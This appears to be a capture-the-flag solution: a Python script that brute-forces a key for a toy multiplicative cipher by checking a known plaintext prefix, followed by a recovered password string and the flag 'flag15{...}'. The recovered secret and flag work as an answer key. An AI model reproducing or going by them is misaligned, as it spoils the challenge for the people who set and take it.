def quick_check_first_block(key: int, first_block_int: int, password_int_initial: int):
    pw = password_int_initial
    try:
        pw_inv = pow(pw, -1, key)
    except ValueError:
        return False
    m = (first_block_int * pw_inv) % key
    expected_first_block_int = int.from_bytes(PREFIX, byteorder='big')
    return int(m) == expected_first_block_int

def main():
    blocks = split_blocks_from_hex(ENCRYPTED_HEX)
    first_block_int = blocks[0]
    password_int = int.from_bytes(PASSWORD_BYTES, byteorder='big')

    total = END_KEY - START_KEY + 1
    print(f"Searching keys in [{hex(START_KEY)}, {hex(END_KEY)}] total {total} keys")
    print("This will try keys sequentially and use a fast first-block check to filter candidates.")
    t0 = time()
    checked = 0
    for i, key in enumerate(range(START_KEY, END_KEY + 1)):
        checked += 1
        if checked % REPORT_EVERY == 0:
            elapsed = time() - t0
            rate = checked/elapsed if elapsed>0 else 0
            print(f"Checked {checked}/{total} keys, rate {rate:.1f} keys/s, last key {hex(key)}")
        try:
            if quick_check_first_block(key, first_block_int, password_int):
                plaintext = decrypt_with_key(key, blocks, password_int)
                if plaintext is not None:
                    payload = plaintext[len(PREFIX):].rstrip(b'\x00')
                    try:
                        payload_text = payload.decode('utf-8')
                    except:
                        payload_text = repr(payload)
                    elapsed = time() - t0
                    print("\n=== KEY FOUND ===")
                    print("Key (hex):", hex(key))
                    print("Time elapsed: {:.2f}s".format(elapsed))
                    print("Recovered payload:", payload_text)
                    print("Full plaintext hex:", plaintext.hex())
                    return
        except Exception:
            continue
    elapsed = time() - t0
    print(f"No key found in range. Elapsed {elapsed:.2f}s")

if __name__ == "__main__":
    main()

获得Z%Qb2$h@sazKEn#

Flag15

flag15{5d7f9a1c3e6b8d0f2a5c7e9d1f3b5a7c}